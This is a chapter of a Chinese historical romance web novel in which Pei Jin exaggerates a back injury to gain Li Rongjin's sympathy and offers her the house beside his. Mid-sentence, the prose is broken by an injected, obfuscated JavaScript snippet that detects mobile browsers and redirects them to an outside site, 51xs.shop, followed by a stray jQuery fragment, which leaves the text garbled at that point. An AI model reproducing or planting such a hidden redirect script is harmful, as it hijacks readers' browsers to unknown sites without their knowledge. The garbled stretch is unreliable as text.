“好啊。”
少女的手掌是温凉的,放在裴烬手上的那一刻,被他的大手紧紧握住,一股温暖的感觉袭来,仿佛将她整个人都温暖。
裴烬握的很紧,好像是怕她丢掉一样。
李容瑾走出沈府的那一刻,感觉整个人都是轻松的,玉兰跟在李容瑾身后,第一次看到姑娘这么久以来,久违的笑意。
裴烬比李容瑾要高出许多,但与李容瑾说话时,他总是会耐心弯腰去倾听。
看着少女明媚的笑容,他唇角微微弯起。
跟在他们身后的凤玉出来后就丝毫没有刚刚端庄儒雅的大司命样子,双手环胸,说话的语调都懒散下去:“哟,裴烬你是心情好了,我大晚上被你提溜出来,我的心情可还差着呢。”
刚刚还喊‘大人’如今是连名带姓的喊了。
“喂裴烬,听到没,今晚请我喝酒看美人,否则给你占卜个凶卦,晚上扎你小人。”
裴烬皱眉看着凤玉道:“今晚不行。”
“你是有了美人忘了兄弟是吧,”凤玉撇嘴,目光移到李容瑾身上,嬉笑道,“那我也陪沈姑娘总行了吧,沈姑娘国色天香,看上一眼就能大饱眼福,怪不得能把裴烬这小子迷的七荤八素,啧啧啧。”
李容瑾震惊,面颊都染成粉红色,整个人瞬间变成一颗红苹果,什么七荤八素,大司命到底在说什么……
裴烬怎么可能喜欢她!
“沈姑娘难道不知道吗,裴烬他可是早就……唔!唔……”
凤玉嘴巴被裴烬捂的严严实实,甚至还眼神凛冽的警告他一眼。
凤玉吞咽口水,瞬间安生下去,他无辜眨眼看着裴烬。
搞什么,原来你小子现在还玩暗恋这一套呢?
李容瑾不明所以,呆愣看着凤玉一副欲言又止和裴烬略带威胁的眼神。
她小声道:“是有什么我不能听的吗?”
裴烬忙放开凤玉,脸不红心不跳,一本正经胡说道:“没有,凤玉他出来的时候喝了些酒,如今酒劲上来怕是在胡言乱语,你莫要当真。”
“哦……”李容瑾半信半疑点点头,“那我们可要去喝杯茶,刚好能下下酒劲。”
裴烬温声道:“也好。”
滴酒未沾的凤玉:“……”
下什么酒劲?他被裴烬压榨的这几个月都没机会好好喝过酒,现在还要熬夜加班,没有犒劳不说,还要陪他去喝茶叶水,凤玉心里苦。
“阿姊!”
“姐姐!”
两声清脆的声音闯进,只见远处昭定侯身穿便服,带着拾一从远处向他们走来。
贺兰珩肆不知是不是故意的,硬生生将裴烬挤走,他蹭在李容瑾身侧,像小狗一般对李容瑾讨好的笑着:“阿姊今日可还顺利?”
拾一站在李容瑾另一侧,少年乖巧仰头看着李容瑾,小心翼翼道:“姐姐,今日我有和侯爷努力习武,我会快点变强保护你的。”
玉兰吓了一跳:“姑娘,这,这……”
她家姑娘怎么去一趟郾城回来,还认识这么多人!
李容瑾也颇为无奈,贺兰珩肆本就是她看着长大的,是喜欢黏着她一些,结果现在还带来一个小的,一大一小,都差把她当拐杖用了!
裴烬看着自己的位置被挤走,他不满的蹙眉。
凤玉则在一旁凑到裴烬耳边说着风凉话:“哎,这个空气中怎么弥漫着一股醋味呢?”
“不会说话就滚远点。”裴烬沉声道。
凤玉拍拍裴烬的后背,裴烬蹙眉闷哼一声,冷眼斜看凤玉一眼。
凤玉讪笑收回手,低声道:“不,不好意思,忘记你身上还有伤了。”
“你受伤了?”李容瑾转身去看裴烬,说完她想到什么,恍然大悟,裴烬因为私下郾城被皇兄罚了八十军棍。
裴烬看着少女担忧的眼眸,原本不怎么疼的后背硬是被他演出骨折的感觉,他微微弯腰,猛然凑近李容瑾。
李容瑾呼吸凝滞,闻到一股清冷好闻的香味,下一刻男人的下巴放在她的肩膀上,裴烬弯着腰,一脸痛苦道:“嘶,好疼,原本没什么的,可能,凤玉力气太大,把我伤口拍裂了……”
凤玉看着自己的巴掌:“……”
“啊……这么严重!”李容瑾的注意力全部集中在裴烬身上,她担忧的扶着他,“要不我先送你回府吧。”
贺兰珩肆蹙眉:“裴大人常年习武,身体总不至于这么差吧?”
裴烬张口就来:“是有些差,现在可能走不了路了。”
李容瑾:“!”
她连忙扶着裴烬,与玉兰说道:“玉兰,你先替我招待一下昭定侯,我将裴大人送回府中。”
贺兰珩肆阻拦道:“阿姊,裴烬手下这么人,随便一个都可以将他送回去吧……”
璇玑接声道:“回侯爷,我们都是些粗人,大人身子金贵,我们不敢乱来,万一伤口再裂开,那就得不偿失了。”
裴烬在别人看不到的地方对着璇玑比了个大拇指,好小子,没白疼你,回去给你加鸡腿。
——
马车上,裴烬歪头靠在李容瑾的肩膀上,他唇角微微勾起,如今只剩下他们二人,没有那些讨厌的苍蝇就是好。
李容瑾坐的笔直,她不敢动,怕一不小心就扯到裴烬的伤口。
“对不起,忘记你还受伤的事情了。”
她向裴烬道歉。
裴烬淡声道:“小伤而已,殿下不必忧心。”
嘴上说着不必忧心,说完后就做出一副虚弱的样子轻咳两声。
李容瑾忧心忡忡:“大司命究竟用了多大力气,不过片刻竟然像换了个人一样,如此严重了……”
裴烬心虚,没有接话,只是做出一副虚弱的样子靠在李容瑾的肩膀上,贪恋这片刻的余温。
马车到裴府停下,李容瑾搀扶着裴烬走下马车,温声提醒他:“慢点。”
裴烬借着李容瑾的支撑微微点头。
李容瑾将裴烬扶回卧房,让他坐在床上替他支撑好身子:“伤口裂开要尽快处理一下,别感染发炎的好。”
“好,多谢殿下关心。”
李容瑾为裴烬找来府医,男女有别,府医为裴烬看伤口的时候她继续待在屋里就不太合适,于是李容瑾便出去等候。
府医查看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701398|142122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裴烬的伤口,后背确实已经渗血,但这是早就包扎好的,并没有多么严重,也不至于路都不了。
不过,裴大人说难受,或许是真的难受吧,府医不敢多说什么,只管写了方子道:“大人每日按这几幅药外敷伤口,不出半月变能痊愈。”
“有劳。”裴烬自己将衣服重新穿上,看着府医离去的背影,他低声道,“出去后,知道该怎么说吧。”
府医被提点,恍然大悟,忙点头道:“下官明白。”
坐在院子里欣赏海棠花的李容瑾见到府医从屋内出来,她便忙上前问道:“怎么样,裴大人他伤的严重吗?”
“这……”府医擦擦额头,“大人伤势有些严重,恐怕会落下病根,姑娘还是小心照看的好。”
李容瑾瞳孔微缩:“!”
这么严重??
她心中的负罪感越发严重了,如果她今日早些想到裴烬还受着伤,让他早些回去,说不定就不会有后面这些事情了。
说到底,裴烬还是因为帮她才伤势加重的。
“好,我知道了。”李容瑾语气沉重。
她走进屋内去看裴烬的时候,裴烬坐在床榻上去拿桌子上的茶杯。
李容瑾忙殷勤去拿:“我来,我来。”
她拿起茶杯,将里面换上新茶,替裴烬沏好茶,喂到他嘴边:“小口喝。”
裴烬受宠若惊,没想到他还有这个待遇,但说到底,还是有些心虚的。
“我自己来就好。”他接过茶杯,小口泯了口。
李容瑾满眼自责:“你若有什么需要的尽管同我说。”
裴烬干笑,转移话题:“那个,听说殿下要搬出沈府,可有找好地方?”
李容瑾如实道:“我明日便会去找,怎么了吗?”
裴烬小算盘打的啪啪响:“我隔壁有间院子,若是殿下需要,大可搬进来住,明日我就让人将房契填上你的名字。”
“这……不太好吧。”李容瑾有些犹豫。
她与裴烬只不过是最近才相熟起来,她还什么都没帮过裴烬,还连累他伤势加重,而裴烬不仅不介怀,还要送她一间宅院,她有些过意不去。
裴烬道:“没什么不好的,若是殿下能常来裴府走动,那便是一件再好不过的事情。”
他见李容瑾还在犹豫,便补充道:“我府里没有丫鬟,都是些粗人,如今行动不便,怕是要再麻烦殿下些时日了,宅子就当是我付给殿下的工钱。”
裴烬他担心,他若是就这么放任李容瑾出去找宅子,怕是过不了些时日这左边住个昭定侯,右边住个季宴川,里面还带着个小拖油瓶拾一,那他想到见李容瑾一面,周围的人怕是都虎视眈眈的。
不如他就借机将李容瑾据为己有,还是放在自己身边最安心,这次他可不会再放手了。
“殿下若是不愿意也没关系,左右不过是臣受罪些,一切按殿下心意即可。”
李容瑾心中负罪感又加重几分。
她道:“只要你不嫌弃,我怎样都可以。”
裴烬见目的达成,满意勾唇道:“好,那就这么说定了,明日我便让人将房契送到沈府。”